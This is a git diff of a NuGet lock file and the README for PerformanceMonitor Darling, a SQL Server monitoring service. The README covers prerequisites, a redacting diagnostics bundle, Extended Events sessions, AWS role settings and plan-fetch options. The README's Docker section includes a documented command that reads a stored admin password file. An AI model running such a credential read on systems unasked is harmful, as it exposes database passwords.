+          "PerformanceMonitor.PlanAnalysis": "[3.9.0, )",
           "ScottPlot.WPF": "[5.1.59, )"
         }
       },
@@ -538,13 +541,13 @@
       },
       "Microsoft.Data.SqlClient": {
         "type": "CentralTransitive",
-        "requested": "[7.1.0, )",
-        "resolved": "7.1.0",
-        "contentHash": "yKPkjufNvrX5VDv49XHaGbUNPL4kDx9ALCrqDhYu+ThFQxjM8zGMzYxPv9iiwRU0ZL3vhgq0F2KEeoV3PT2utQ==",
+        "requested": "[7.1.1, )",
+        "resolved": "7.1.1",
+        "contentHash": "Moz4+bba/OdEM9I4jXWggduJ4sqoNcgVAQyXG/dNnGGvnS/YDr2fTjP83fg5YX3drgRki6fRAhR94P8dAZgZtQ==",
         "dependencies": {
           "Microsoft.Bcl.Cryptography": "9.0.18",
-          "Microsoft.Data.SqlClient.Extensions.Abstractions": "[7.1.0, 8.0.0)",
-          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.0, 8.0.0)",
+          "Microsoft.Data.SqlClient.Extensions.Abstractions": "[7.1.1, 8.0.0)",
+          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.1, 8.0.0)",
           "Microsoft.Data.SqlClient.SNI.runtime": "[7.1.0, 8.0.0)",
           "Microsoft.Extensions.Caching.Memory": "9.0.18",
           "Microsoft.IdentityModel.JsonWebTokens": "8.16.0",
@@ -555,14 +558,14 @@
       },
       "Microsoft.Data.SqlClient.Extensions.Azure": {
         "type": "CentralTransitive",
-        "requested": "[7.1.0, )",
-        "resolved": "7.1.0",
-        "contentHash": "ZMfBGoTa2D1VugOSh8y6Klv9mh8hefgjygAFiSHAl/1dw+EehRrBl6YFbB8IX27XUHj1tQ0I+bdGMZ5DtwMOlw==",
+        "requested": "[7.1.1, )",
+        "resolved": "7.1.1",
+        "contentHash": "3/Z+6JJKGUw8+shNtftUSGOagt7XCbuhXknZjzXQfDr5aA4lUEMtU/MMNSiwMIrkviYslNKvFh1yWOArudDxQA==",
         "dependencies": {
           "Azure.Core": "1.51.1",
           "Azure.Identity": "1.18.0",
-          "Microsoft.Data.SqlClient.Extensions.Abstractions": "[7.1.0, 8.0.0)",
-          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.0, 8.0.0)",
+          "Microsoft.Data.SqlClient.Extensions.Abstractions": "[7.1.1, 8.0.0)",
+          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.1, 8.0.0)",
           "Microsoft.Extensions.Caching.Memory": "8.0.1",
           "Microsoft.Identity.Client": "4.84.2",
           "Microsoft.Identity.Client.Broker": "4.84.2"
@@ -596,6 +599,12 @@
         "dependencies": {
           "Microsoft.Extensions.Logging.Abstractions": "10.0.0"
         }
+      },
+      "System.Security.Cryptography.ProtectedData": {
+        "type": "CentralTransitive",
+        "requested": "[10.0.12, )",
+        "resolved": "10.0.11",
+        "contentHash": "PNoxCTPb+Tlux+GJyq4c89ddYdpioVSqfGx8pqOF6shCSKwUNNctXhQtRkCICjbJmGrJJsW8NY52kVYO/b8mlQ=="
       }
     }
   }
diff --git a/Darling/README.md b/Darling/README.md
index c040d0bc2f..398a18a6bc 100644
--- a/Darling/README.md
+++ b/Darling/README.md
@@ -37,18 +37,21 @@ Nothing is installed on the monitored SQL Servers by either edition beyond two l
 ### Prerequisites
 
 - **Windows** for the service host (Windows-service lifetime, DPAPI password protection) and for the viewer (WPF). Monitored servers can be SQL Server 2016 SP2–2025 (2017 needs CU3 or later), Azure SQL Managed Instance, AWS RDS for SQL Server, or Azure SQL Database.
-- **A PostgreSQL store — bundled or your own.** In managed mode (the shipped default, see [Managed Bundled PostgreSQL](#managed-bundled-postgresql)) the service runs its own bundled PostgreSQL 18 + TimescaleDB and no database provisioning is needed. To bring your own instead, PostgreSQL 16 or newer is recommended (developed and validated against PostgreSQL 18) with a database and a login the service can create tables in — and if that store has TimescaleDB, size its background workers before you rely on compression, because the stock PostgreSQL defaults cannot run the policies (see [Background workers](#background-workers-sizing-an-unmanaged-store-and-what-happens-if-you-dont)). On SSD-backed storage, also set `random_page_cost = 1.1` (the managed store does): with the default of 4 the planner prices a BRIN index's heap reads as random I/O and can pick a sequential scan over the index for windows of 12 hours or more. The BRIN index on the per-interval Query Store table is skipped below PostgreSQL 16, because HOT updates past a BRIN index need PostgreSQL 16 or newer.
+- **A PostgreSQL store — bundled or your own.** In managed mode (the shipped default, see [Managed Bundled PostgreSQL](#managed-bundled-postgresql)) the service runs its own bundled PostgreSQL 18 + TimescaleDB and no database provisioning is needed. To bring your own instead, the minimum is PostgreSQL 16, and the service is developed and validated against PostgreSQL 18. The store needs a database and a login the service can create tables in. If that store has TimescaleDB, size its background workers before you rely on compression. The stock PostgreSQL defaults cannot run the policies (see [Background workers](#background-workers-sizing-an-unmanaged-store-and-what-happens-if-you-dont)). On SSD-backed storage, also set `random_page_cost = 1.1` (the managed store does): with the default of 4 the planner prices a BRIN index's heap reads as random I/O and can pick a sequential scan over the index for windows of 12 hours or more. The BRIN index on the per-interval Query Store table is skipped below PostgreSQL 16, because HOT updates past a BRIN index need PostgreSQL 16 or newer.
 - **TimescaleDB is optional and auto-adopted.** If the extension is installed (or pre-created by an administrator) in the store database, the service detects it at startup and automatically converts the collector tables to hypertables with compression; without it, the service runs in plain-PostgreSQL mode, which is fully supported. No configuration flag either way. The detection is also **re-run hourly for as long as it says no** (#3815), so a service that fell back because the store was restarting, failing over or momentarily unreachable at its own start returns to hypertable mode within the hour instead of at the next restart.
-- **Two .NET 10 runtimes on the host**, from <https://dotnet.microsoft.com/download/dotnet/10.0>. Both
-  shipped binaries are framework-dependent, and a stock Windows Server image has neither:
-  - **ASP.NET Core Runtime 10** for the service. Required unconditionally — the MCP package brings the
+- **.NET 10 runtimes on the host**, from <https://dotnet.microsoft.com/download/dotnet/10.0>. Both
+  shipped binaries are framework-dependent, and a stock Windows Server image has none of them:
+  - **.NET Runtime 10 and ASP.NET Core Runtime 10** for the service. The simplest way to get both is the
+    **ASP.NET Core Hosting Bundle 10**, which installs the two together. The standalone ASP.NET Core
+    Runtime installer does **not** include the base .NET Runtime, so with that installer alone you also
+    need the .NET Runtime 10. ASP.NET Core is required unconditionally — the MCP package brings the
     ASP.NET Core framework reference in transitively, so it is needed whether or not you ever enable MCP
     or the web dashboard.
   - **.NET Desktop Runtime 10** for the viewer (WPF). Not needed on a headless collector host, and not
     needed for a remote seat installed from the viewer's own `Setup.exe`, which is self-contained.
 
-  `install-darling.ps1` checks both before it installs anything: it refuses when ASP.NET Core is missing
-  and warns when the Desktop runtime is. The .NET 10 SDK covers both if you are building from source.
+  `install-darling.ps1` checks these before it installs anything: it refuses when the .NET Runtime or
+  ASP.NET Core is missing and warns when the Desktop runtime is. The .NET 10 SDK covers both if you are building from source.
 
 Build from the repository root:
 
@@ -140,6 +143,22 @@ Exit codes separate the failure kinds so an install/upgrade script can gate on t
 
 Every other verb that opens the store (`--validate-config`, `--enable-mcp`, `--disable-mcp`, `--enable-web`, `--disable-web`, `--collapse-legacy-slices`, `--recompress-plan-dim`, `--add-server`, `--backfill-rollups` and `--drop-xe-sessions <server-name>`; the `--print-sql` form connects to nothing) prints the problem and exits `1` when the connection string cannot be used or the managed credential cannot be read, instead of ending in an unhandled exception.
 
+### Diagnostics Bundle
+
+To report a problem, write one file with the store's state, the recent service log and the collection health, and attach it to the issue:
+
+```
+PerformanceMonitor.Darling.Service.exe --diagnostics-bundle darling-bundle.json [--hours N] [--server <name>] [--log-dir <dir>] [--config <path>] [--alias-map <path>] [--include-log-text] [--force]
+```
+
+Run it elevated on the store host (a managed store's credential is protected by Windows). On Linux run `./PerformanceMonitor.Darling.Service --diagnostics-bundle darling-bundle.json`; with compose, run it with `docker compose exec` and copy the file out with `docker compose cp`. `--diag-bundle` is the short form. The file is one JSON document of at most 4 MiB. `--hours` (1 to 168, default 24) sets the window; `--server` limits the server-scoped sections to one server.
+
+Server, host, database, login and domain names and IP addresses are replaced with ordinal aliases (`server-1`, `db-2`, `ip-1`), and credentials are removed. Before anything is written the verb scans the finished file for every name and secret it knows and writes nothing if one is still there. That proves only that the names it knows are gone, so open the file and check it before you attach it. `--alias-map <path>` writes a separate file that maps the aliases back to names; it starts with a `DO NOT ATTACH` line, and the bundle never contains it.
+
+When the store cannot be reached, the registry cannot be read, so a server known only to it cannot be aliased: the service log is then written as counts only. `--include-log-text` adds the message text anyway (open the file before you attach it). `--alias-map` refuses to overwrite the bundle or an existing file without `--force`. The `store_unreachable` section holds no sentence, only an error class and a fixed reason code.
+
+Exit codes: `0` written, `1` bad arguments or config, `2` the store could not be reached (a reduced bundle is still written), `3` written but one or more sections failed, `4` the output path cannot be used, `5` a known name or secret survived aliasing (nothing written). If the service log is not where the verb looks, the `service_log` section says so; pass `--log-dir`.
+
 ### Run It — Console Mode
 
 The same executable serves interactive debugging and service installation; the Windows-service lifetime is a no-op when run from a console.
@@ -163,6 +182,8 @@ cp darling.sample.json darling.json        # edit: servers, alerting, tokens
 docker compose up -d
 ```
 
+The compose file pulls the `:latest` image, which is the newest release. To pin a release, change the `darling` service's `image:` line to that version's tag, for example `performancemonitor-darling:3.10.0`. The `:nightly` tag is the newest dev build; use it only to test unreleased changes.
+
 Web dashboard on `http://<host>:5153` behind its token, MCP (if enabled) on `:5152` behind its bearer token. The port mappings are the exposure boundary: the container-aware bind gate honors `web.network`/`mcp.network` under `managed = false` **inside a container only**, and the tokens are still mandatory. Five rules worth knowing before they bite:
 
 - **The service provisions the store's least-privilege roles itself** ([#3914](https://github.com/erikdarlingdata/PerformanceMonitor/issues/3914)). The compose file's store is the service's own: it logs in as the store's bootstrap superuser (`POSTGRES_USER`), so at every start it creates or refreshes the `admin`, `viewer` and `mcp` roles exactly as managed mode does, and the web dashboard connects as `viewer` and MCP as `mcp`, never as the owner — so a web session or an MCP token-holder gets the secret-column carve, the narrow write grants and the composed-query `statement_timeout` backstop (15 s by default, `compose_statement_timeout_seconds`). Nothing to configure, and do not run `provision-roles.sql` against this store. The generated passwords live one owner-only file per role in the `darling-credentials` volume (`/var/lib/darling/credentials`); `docker compose exec darling cat /var/lib/darling/credentials/pg-admin-credential` shows the `admin` password if you want to point a Darling Viewer or `psql` at the store as `admin` rather than as the owner. A deployment from an older compose file gets the roles on its first start with the new image, and keeps working without the volume (the passwords are regenerated and re-applied on each container recreation); take this release's `docker-compose.yml` to keep them stable. If the store's login is not its bootstrap superuser, if the cluster also holds a database besides the store's own and `postgres` (an operator's own cluster rather than the compose store), or if a role named `admin`/`viewer`/`mcp` already exists that the service did not create, the service leaves the roles alone. On a start like that, or one whose provisioning fails or never runs, the two surfaces keep connecting as `viewer` and `mcp` with the credentials an earlier start wrote; only with none do they fall back to the owner. A startup warning says which login each surface uses and why.
@@ -174,7 +195,7 @@ Web dashboard on `http://<host>:5153` behind its token, MCP (if enabled) on `:51
 
 **A container that has stopped collecting reports unhealthy** ([#4733](https://github.com/erikdarlingdata/PerformanceMonitor/issues/4733)). After a startup failure that stops collection for good (a rejected `darling.json`, a step that can never apply, a refused login), the `darling` container stays up on purpose and its healthcheck reports `unhealthy` in `docker compose ps`, rather than restarting it in a loop. `docker compose logs darling` says why, and so does `/api/ping` when the web dashboard is enabled. A failure the service is still retrying does not count as a stop. This needs the current `docker-compose.yml`: the healthcheck and `DARLING_STOPPED_MARKER` are set there, not in the image, so an older compose file has neither.
 
-**systemd + bring-your-own PostgreSQL** — download `PerformanceMonitorDarling-linux-x64-*.tar.gz` from the release, extract to `/opt/darling`, point `DARLING_CONFIG` at your config (connection string to your own PostgreSQL 15+ with TimescaleDB; the service degrades gracefully without TimescaleDB), and run `dotnet PerformanceMonitor.Darling.Service.dll` under a unit like:
+**systemd + bring-your-own PostgreSQL** — download `PerformanceMonitorDarling-linux-x64-*.tar.gz` from the release, extract to `/opt/darling`, point `DARLING_CONFIG` at your config (connection string to your own PostgreSQL, at or above the minimum version in [Prerequisites](#prerequisites), with TimescaleDB; the service degrades gracefully without TimescaleDB), and run `dotnet PerformanceMonitor.Darling.Service.dll` under a unit like:
 
 ```ini
 [Unit]
@@ -277,7 +298,7 @@ Extract to a local, machine-scoped path. **Use `C:\Program Files\PerformanceMoni
 
 The service runs as the unprivileged virtual account `NT SERVICE\PerformanceMonitor Darling`, never LocalSystem, because the bundled PostgreSQL refuses to run with administrative privileges. That account is not you, not SYSTEM, and not Administrators — and a user profile grants access to about those three and nobody else, so the service cannot read its own program files there. It installs cleanly and then fails: `initdb.exe` dies at `0xC0000135` (STATUS_DLL_NOT_FOUND) before it can report anything (#2185). A folder created under `C:\` inherits read + execute for `BUILTIN\Users` instead, which the virtual account is a member of, which is why that documented location still works for the *service* — the residual is the *write* grant the same inheritance carries for every other local user, which is what `C:\Program Files` avoids and what the next paragraph checks for. Network paths fail for a related reason: a virtual account [reaches the network as the computer account](https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/configure-windows-service-accounts-and-permissions#virtual-accounts) rather than as you, and a mapped drive letter belongs to your logon session, which a service does not share.
 
-**`install-darling.ps1` also refuses to run at all from a folder ordinary local users can already write to** ([#4043](https://github.com/erikdarlingdata/PerformanceMonitor/issues/4043), checked before anything else, including the install-tree lock below (#4034)): the lock only stops writes from the moment it runs, so a folder that was writable by someone else *before* that — the usual case is a fresh extract directly under `C:\` — may already hold a swapped binary the lock can never undo. The refusal names the principals and points you at `C:\Program Files\...`. `-AcceptWritableExtraction` skips it for a dev loop that extracts somewhere deliberately writable; it is not for a real install.
+**`install-darling.ps1` also refuses to run at all from a folder ordinary local users can already write to** ([#4043](https://github.com/erikdarlingdata/PerformanceMonitor/issues/4043), checked before anything else, including the install-tree lock below (#4034)): the lock only stops writes from the moment it runs, so a folder that was writable by someone else *before* that — the usual case is a fresh extract directly under `C:\` — may already hold a swapped binary the lock can never undo. The refusal names the principals and points you at `C:\Program Files\...`. For a folder that already holds an install (the service is registered, or `darling.json` or `pg-runtime` is there), the refusal gives the numbered steps instead: stop the service, extract the new zip into a new, empty `C:\Program Files\PerformanceMonitorDarling`, copy `darling.json` into it first (plus any certificate or key it points at, and `darling-keys` when `postgres.managed` is `false`), run `install-darling.ps1` from the new folder (it re-points the existing service; the logon account, credentials and store are not touched), start the service and check it collects, then delete the old folder. `upgrade-darling.ps1` gives the same steps. The service's own account (`NT SERVICE\PerformanceMonitor Darling`) is never listed as a finding in that folder, whether or not the service is registered today. `-AcceptWritableExtraction` skips it for a dev loop that extracts somewhere deliberately writable; it is not for a real install.
 
 `install-darling.ps1` refuses a fresh install in any of these locations rather than leaving you a service that cannot start. A service registered by hand instead — the manual `sc create` path below, which the installer never sees — gets the same diagnosis from the service itself: on start, ahead of reading `darling.json` and long before the store bootstrap, it logs one critical line naming the path, why its own account cannot read it, and where to move it, so the cause is above the failure rather than three messages downstream of it. To move an existing install, stop the service, move the folder, and re-run `install-darling.ps1` from the new location — it updates the service's binPath in place and leaves your `darling.json`, store data, and credentials alone.
 
@@ -359,6 +380,65 @@ On each successful connect, the service:
 
 Every failure in steps 2–3 is tolerated and logged: the deadlock/blocked-process collectors simply read zero rows until the sessions exist (and blocked-process reports only start arriving once the threshold is set). Monitoring queries connect with a 15-second connect budget and an application name of `PerformanceMonitorDarling`; connection encryption fails closed to `Mandatory` when the configured mode is unrecognized.
 
+### The Extended Events Sessions the Service Creates
+
+Each Darling install has an eight-character id. The service makes it at start and keeps it in `config.config_install_id`, a store table that holds one row. The id appears in the name of each session that belongs to this install alone. Two installs that monitor one server never share such a session, so one install cannot drop or stop the other's.
+
+#### The sessions
+
+- `PerformanceMonitor_Darling_<id>_LongQueryCompletions` is this install's long-query trace. The service creates it while the opt-in `long_query_completions` collector is on. It is created with `STARTUP_STATE = OFF`, so it stays stopped after a server restart. Each check starts it again when it finds it stopped.
+- `PerformanceMonitor_Deadlock` and `PerformanceMonitor_BlockedProcess` keep their shared names, because Lite and other installs read them too. The service never drops them. It checks them at connect and then once an hour. It creates a missing one and starts a stopped one, so a deliberate stop lasts less than an hour.
+- On Azure SQL Database, a shared session can stay unusable after a start. The service then creates `PerformanceMonitor_Darling_<id>_Deadlock` or `PerformanceMonitor_Darling_<id>_BlockedProcess` in that database, with `STARTUP_STATE = OFF`, and reads that one. When the shared session works again, the service switches back and drops its own fallback.
+
+#### The old shared session
+
+Earlier versions shared one session, `PerformanceMonitor_LongQueryCompletions`, between all installs. An upgraded install drops it once for each registration and database. It then records that drop and never touches the session again. If an older install creates it again later, the service logs one Information line per start and leaves the session alone. To remove it, see [Drop the Extended Events sessions a removed server left behind](#drop-the-extended-events-sessions-a-removed-server-left-behind---drop-xe-sessions).
+
+#### Removing a server
+
+Removing a server drops this install's sessions on it. These are the long-query session and its own deadlock and blocked-process fallbacks. The service makes one attempt, within 15 seconds. A failed drop is logged and never stops the removal.
+
+The service leaves a session that another registration of this install keeps. On premises, it also leaves the session when it cannot tell whether another registration of this install shares the instance. That happens when the instance name of this server is not known. The service logs the reason. The two shared sessions stay on the server. The [`--drop-xe-sessions`](#drop-the-extended-events-sessions-a-removed-server-left-behind---drop-xe-sessions) section shows how to drop them.
+
+#### Registrations that share an instance
+
+On premises, a registration with the trace off leaves the long-query session in place when another registration of this install has the trace on. Both registrations must point at the same instance. The service compares the last known `@@SERVERNAME` of each one.
+
+#### Read-only intent on Azure SQL Database
+
+A session cannot be created over a read-only connection. For a registration with read-only intent, the service creates the session definition over a connection without the intent. The definition replicates to the read-only replica. The service then starts the session over the registration's own connection. A drop stops the session on the replica first, then drops it on the primary. Microsoft describes the method in [Monitor read-only replicas with Extended Events](https://learn.microsoft.com/en-us/azure/azure-sql/database/read-scale-out). On Hyperscale with several high-availability replicas, a read-only connection lands on one replica that the app cannot choose, so the stop reaches only that one. Microsoft Learn describes no way to address a single high-availability replica; it says the read-intent workload is distributed arbitrarily across them ([Connect to an HA replica](https://learn.microsoft.com/en-us/azure/azure-sql/database/service-tier-hyperscale-replicas#connect-to-an-ha-replica)).
+
+A Managed Instance registration with read-only intent needs the trace started on the primary first. The service does not do that, so the registration gets the read-only message (error 3906). A registration without the intent can land on a read-only database, such as a geo-secondary. It gets one clear message, and the service retries the create every hour.
+
+#### Azure SQL Database limits
+
+Microsoft Learn lists these caps under "Resource governance" on [Extended Events in Azure SQL](https://learn.microsoft.com/en-us/azure/azure-sql/database/xevent-db-diff-from-svr). A database holds at most 100 started sessions. An elastic pool holds at most 100 database-scoped sessions. Session memory is capped at 128 MB per database and 512 MB per pool. In a dense pool, a start can fail below 100 sessions.
+
+Each install uses one long-query session per database while the trace is on. It adds up to two fallbacks while a shared session is unusable. A failed create or start on Azure SQL Database carries a sentence that names these caps.
+
+#### Known limits
+
+- An older Darling with the trace on loses capture once for each upgraded install, until it reconnects.
+- An older Lite creates the old session again within one collection cycle.
+- Two registrations of one instance in one install drop the old session twice.
+- A Darling server that you point at a new host keeps its server id. The service never drops the old session on the new host.
+- A lost record costs one more drop. This happens when you remove a server and add it again.
+- On RDS Multi-AZ, the drop reaches the primary only. The copy on the standby stays stopped after a failover, unless an older install starts it.
+- On Hyperscale with several high-availability replicas, the stop reaches only the replica that a read-only connection lands on. A copy of the session that runs on another replica is not stopped. Microsoft Learn describes no way to address one high-availability replica: [Connect to an HA replica](https://learn.microsoft.com/en-us/azure/azure-sql/database/service-tier-hyperscale-replicas#connect-to-an-ha-replica).
+- On Azure SQL Database, two registrations of one database with different logins share one session name, as before.
+
+#### Clones
+
+A physical clone keeps the install id. A VM snapshot is a physical clone, and so is a store copied with `pg_basebackup`. The clone and the original then use the same session names on every server both monitor. To give the clone its own id, stop the service, delete the row, and start the service. The service makes a new id at start.
+
+```sql
+DELETE FROM config.config_install_id;
+```
+
+A managed major upgrade of the store keeps the id. The upgrade gives the store a new cluster identifier and a higher major version, and keeps the OIDs of the store's database and of the install id table. The row records both OIDs and the major version it last saw. When the cluster identifier changed, both OIDs still match, and the major version is higher than the row's, the service keeps the id and writes the new cluster identifier and major version on the row (one Information line in the log names both cluster identifiers). A changed cluster identifier at the same or a lower major version gets a new id, so a copy of the row into a fresh install of the same version does not share the id. A copy into an install of a higher version looks like an upgrade and keeps the id: delete the row there, as for a clone.
+
+A store moved by dump and restore, or by logical replication, is a different store. It gets a new id on its own, because a restore assigns new OIDs. The sessions of the old id stay until you drop them by hand; `--drop-xe-sessions` lists them.
+
 ### Permissions on Monitored Servers
 
 Darling needs the **same target-server grants as Lite**, so the copy-paste block lives in one place for both: **[Permissions in the root README](../README.md#lite--darling-on-premises)** — `VIEW SERVER STATE`, `CONNECT ANY DATABASE`, `VIEW ANY DEFINITION`, `ALTER ANY EVENT SESSION`, and the optional `ALTER TRACE`, `ALTER SETTINGS`, and msdb job-table grants, verified live against SQL Server 2025 with a scratch login carrying exactly them ([#1823](https://github.com/erikdarlingdata/PerformanceMonitor/issues/1823)). That block is authoritative; this section is the Darling-specific reading of it. Keeping one list instead of two is deliberate — a second copy is how the old one went stale.
@@ -443,6 +523,8 @@ Two mutually exclusive modes — setting `managed: true` together with `connecti
 | `encryptMode` | `"Mandatory"` | `Mandatory` / `Strict` / `Optional`; unknown values fail closed to `Mandatory` |
 | `multiSubnetFailover` | `false` | |
 | `excludedDatabases` | `[]` | Databases excluded from collection |
+| `awsRoleArn` | *(none)* | PostgreSQL targets on Amazon RDS or Aurora only: the IAM role ARN (such as `arn:aws:iam::123456789012:role/darling-monitor`) Darling assumes for this server's AWS calls (the host check, CPU and host memory from Performance Insights, and the log reads behind plan capture, deadlocks and log events). With none, the process's own AWS credentials are used. The role must be allowed: a role named in `servers[]` is allowed by being here, and the web, MCP, desktop viewer and `--add-server` can set only roles listed in [`allowedAwsRoles`](#allowedawsroles-array-optional). See the [runbook](../docs/postgres-first-target-runbook.md) for the trust policy |
+| `awsExternalId` | *(none)* | Optional, needs `awsRoleArn`: the external ID sent when the role is assumed, to match the trust policy's `sts:ExternalId` condition. 2 to 1224 characters. Never returned by the web or MCP and never written to a log |
 | `remediationUsername` | *(none)* | **Optional second credential, for operator-initiated remediation only (#2138).** The credential above stays read-only forever and is never used for a write. Omit both remediation keys — the default — and this server has no remediation surface at all: there is nothing to enable and nothing to disable. Both halves are required; one alone counts as unarmed and the service says so at connect. Always SQL auth when set, so there is no `remediationAuth` key: an integrated remediation identity would be the service account, which is the monitoring identity |
 | `remediationEncryptedPassword` | *(none)* | The remediation credential's secret: same DPAPI blob from `--encrypt-password`, or an `env:NAME` / `file:/path` reference. There is deliberately **no plaintext variant** of this one — a wrong monitoring password fails a read, a wrong remediation password fails a write against a production server |
 
@@ -450,6 +532,12 @@ Two mutually exclusive modes — setting `managed: true` together with `connecti
 
 > Phase 1 ships **no consumer of this credential**. It is accepted, stored and resolvable so the arming model can be reviewed and provisioned ahead of the write path; the service logs at connect that an armed server is inert in this build. Nothing in this release can write to a monitored server.
 
+### allowedAwsRoles (array, optional)
+
+| Key | Default | Notes |
+|---|---|---|
+| `allowedAwsRoles` | `[]` | The AWS roles the web, MCP, desktop viewer and `--add-server` may set on a server. Each entry is an IAM role ARN (matched exactly) or a 12-digit AWS account id (every role in that account in the `aws` partition; write `aws-cn:123456789012` or `aws-us-gov:123456789012` for an account in the China or GovCloud partition). The service runs a role only if it is listed here or a `servers[]` entry in this file names it in `awsRoleArn`. With no list, the web and MCP cannot set a role. Read at start: restart the service after you change it. Example: `[ "arn:aws:iam::123456789012:role/darling-monitor", "123456789012" ]` |
+
 ### capturePlans (boolean, optional)
 
 | Key | Default | Notes |
@@ -468,6 +556,18 @@ Two mutually exclusive modes — setting `managed: true` together with `connecti
 |---|---|---|
 | `procedureStatsPlanCycleInterval` | `4` | How many collection cycles pass between execution-plan captures for `procedure_stats`. `1` captures on every cycle and is byte-identical to releases before this knob existed; `4` captures on one cycle in four. Clamped to `[1,60]`, and a nonsense value (`0` or negative) degrades to `1` rather than to the default, so a bad setting never silently starts skipping plans. **Why it exists:** `procedure_stats` is normally the most expensive collector against a monitored server, and nearly all of that cost is plan XML — a controlled decomposition put **73.8%** of its read loop in RENDERING the plans and **26.0%** in shipping them, against **0.2%** for the same query with no plan apply at all. The render happens inside `sys.dm_exec_text_query_plan`, a server-side TVF, so it is CPU on the **monitored** server rather than on the collector host; skipping a cycle omits the apply entirely rather than rendering and discarding. **What you trade:** plan freshness — a stored plan can be up to this many cycles old, and `4` keeps the worst case inside the collector's own ten-minute candidate window. Runtime statistics (execution counts, CPU, duration, reads) are collected every cycle regardless, and the collector stays on its 1-minute schedule. The capture cycle is offset per server, so a fleet spreads across the interval instead of every server rendering together. Only `procedure_stats` is gated; `query_stats`, `query_store`, `deadlocks` and `blocked_process_report` still capture plans every cycle. A file-only knob (not stored in the control plane): edit and restart. |
 
+### queryStatsDeferredPlanFetch (boolean, optional)
+
+| Key | Default | Notes |
+|---|---|---|
+| `queryStatsDeferredPlanFetch` | `true` | Whether `query_stats` fetches execution-plan XML only for the plans this collector host has not already stored. On (the default), the main query reads the statistics with no plan, and a second query on the same connection renders just the plans whose identity (plan handle, `creation_time`, `plan_generation_num`) the host has not committed; a row for a plan it has stored reuses the stored digest, so every reader sees the same rows and plans as before. Off restores the inline capture, which renders and ships every row's plan on every run. **Why it exists:** on one large store the inline capture rendered 54 GB of plan XML an hour on the monitored servers and shipped 29 GB of it, against 1.1 GB an hour of distinct plans, about 47 times the plans there are. The render is CPU on the **monitored** server (`sys.dm_exec_text_query_plan`), so this is load taken off the servers you watch. **Why you would turn it off:** to get the plan re-rendered on every run (for example to compare against the old behavior while testing), or if a server is so constrained that the second round trip is unwelcome. **What you trade by leaving it on:** a plan's text is fetched once per identity, so a plan the engine changes in place without a recompile is not re-read until it leaves the cache (entries unused for an hour are dropped; a restart empties it and each server renders its plans once more). A statement recompile between the two queries can pair the new plan with the old identity for that one run's row; the old identity leaves `sys.dm_exec_query_stats` at once, so it is not read again. **Azure SQL Database keeps the inline capture** regardless of this setting, because its per-database collection path has no second query to defer to. Only meaningful while `capturePlans` is on. The run records `plans_rendered`, `plans_rendered_bytes` and `plan_fetch_ms` in its `collection_log` note. A file-only knob (not stored in the control plane): edit and restart. |
+
+### procedureStatsDeferredPlanFetch (string, optional)
+
+| Key | Default | Notes |
+|---|---|---|
+| `procedureStatsDeferredPlanFetch` | `"on"` | Whether `procedure_stats` fetches execution-plan XML only for the module plans this collector host has not already stored. Three values; anything else is read as `off` and logs one warning. **`off`** keeps the inline capture and is the way to turn the deferred fetch off: every captured module plan is rendered and shipped, as before. **`shadow`** does exactly what `off` does, and every stored row is the same as `off` would store; in addition it recognizes each module plan by its identity (plan handle, `cached_time`, and a fingerprint of the module's statements read from `sys.dm_exec_query_stats`: how many, the latest `creation_time`, the sum of `plan_generation_num`) and checks that identity against the plans this host has already stored. It writes nothing different. What it measures lands in the run's `collection_log` note, beside `plans_rendered`: `deferred_would_hit` (identities it would have skipped rendering), `deferred_false_hit`, `deferred_same_shape` and `deferred_miss`. Of the would-hits that rendered different bytes, `deferred_false_hit` counts the plans whose shape changed, or whose shape could not be compared. This is the number that must stay 0. `deferred_same_shape` counts the plans whose bytes changed but whose shape held, for example a memory grant that SQL Server adjusted in place. `on` treats that as a correct hit. Each false hit logs one warning. It names the identity and says why. One reason is that the plan's shape changed. The other reasons mean the shapes were not compared: the cached entry has no shape yet, the rendered plan is over the size cap, or its XML did not parse. The note also splits `deferred_false_hit` by reason into `deferred_false_hit_shape`, `deferred_false_hit_no_shape`, `deferred_false_hit_over_cap` and `deferred_false_hit_unparsed`, which add up to it, so a real shape change reads apart from a plan that was not compared (an over-cap plan is still compared by its byte size, so a memory grant change can count there). **`on`** (the default since 3.10) skips the render for a recognized plan and sends its stored digest instead; the others are rendered in one second query on the same connection, at most 150 per run (the main query is already `TOP (150)`, so the limit is a guard, and `deferred_over_cap = 0` is expected). The run records `plans_rendered`, `plans_rendered_bytes`, `plan_fetch_ms`, `deferred_hit` and `deferred_miss`. `procedureStatsPlanCycleInterval` still decides which runs may render plans: a run between captures sends the digest for a recognized plan and renders nothing. An identity is trusted for four capture cycles, then rendered again. **Why a shadow mode:** a module plan changes in place when one statement recompiles, with the same plan handle and `cached_time`; shadow measures the identity against the plans it just rendered before `on` is allowed to trust it. Move from `shadow` to `on` only after `deferred_false_hit` has stayed 0 over a representative period. A rising `deferred_same_shape` is not a reason to wait. **Azure SQL Database stays `off`** regardless of this setting. Only meaningful while `capturePlans` is on. A file-only knob (not stored in the control plane): edit and restart. The plan cache starts empty under whichever mode the service starts in. |
+
 ### alerts
 
 The shared alert engine's switches and thresholds. Every default mirrors Lite's alert defaults exactly, so an empty section alerts like a fresh Lite install. `enabled: false` turns off all alert evaluation **and** analysis finding notifications (the analysis itself still runs and persists findings).
@@ -580,7 +680,7 @@ A route names what it matches and a destination per channel type, and **an empty
 
 | Family | Owns |
 |---|---|
-| `self-monitor` | The monitor about itself: `Collection Stopped`, `Capture Down`, `Compression Job Stuck`, `Refresh Job Stuck`, `Retention Job Stuck`, `Store Job Failing`, `Store Disk Pressure`, `Store Runtime Upgrade`, `Store Job Over Cadence`, `Retention Held`, `Custom Alert Rules Unhealthy`, `Stale Mute Rules`, `Web TLS Certificate Expiring`, `Store Settings Need Attention`, `Collector Cost Regression`, `Collection Falling Behind` |
